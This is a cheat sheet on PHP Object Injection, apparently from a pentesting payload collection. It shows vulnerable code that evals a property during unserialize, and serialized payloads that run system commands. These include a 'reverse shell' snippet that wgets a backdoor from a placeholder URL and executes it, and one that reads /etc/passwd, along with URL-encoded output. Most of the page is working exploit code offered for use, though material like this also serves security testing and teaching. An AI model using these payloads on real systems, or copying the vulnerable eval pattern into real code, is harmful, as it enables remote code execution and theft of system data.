PHP Object Injection

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

Exploit with the __wakeup in the unserialize function

Vulnerable code:

```
<?php
    class PHPObjectInjection{
        public $inject;
        function __construct(){
        }
        function __wakeup(){
            if(isset($this->inject)){
                eval($this->inject);
            }
        }
    }
    if(isset($_REQUEST['r'])){
        $var1=unserialize($_REQUEST['r']);
        if(is_array($var1)){
            echo "<br/>".$var1[0]." - ".$var1[1];
        }
    }
    else{
        echo ""; # nothing happens here
    }
?>
```

Payload:

```
# Basic serialized data
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}

# Command execution
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
```

Others exploits

Reverse Shell

```
class PHPObjectInjection
{
    // CHANGE URL/FILENAME TO MATCH YOUR SETUP
    public $inject = ”system('wget http://URL/backdoor.txt -O phpobjbackdoor.php &&
 php phpobjbackdoor.php');”;
}

echo urlencode(serialize(new PHPObjectInjection));
```

Basic detection

```
class PHPObjectInjection
{
    // CHANGE URL/FILENAME TO MATCH YOUR SETUP
    public $inject = ”system('cat /etc/passwd');”;
}

echo urlencode(serialize(new PHPObjectInjection));
//O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A26%3A%22sys
tem%28%27cat+%2Fetc%2Fpasswd%27%29%3B%22%3B%7D
//'O:18:”PHPObjectInjection”:1:{s:6:”inject”;s:26:”system(\'cat+/etc/passwd\');”;}'
```

Thanks to

- PHP Object Injection - OWASP (https://www.owasp.org/index.php/PHP_Object_Injection)
- PHP Object Injection - Thin Ba Shane (http://location-href.com/php-object-injection/)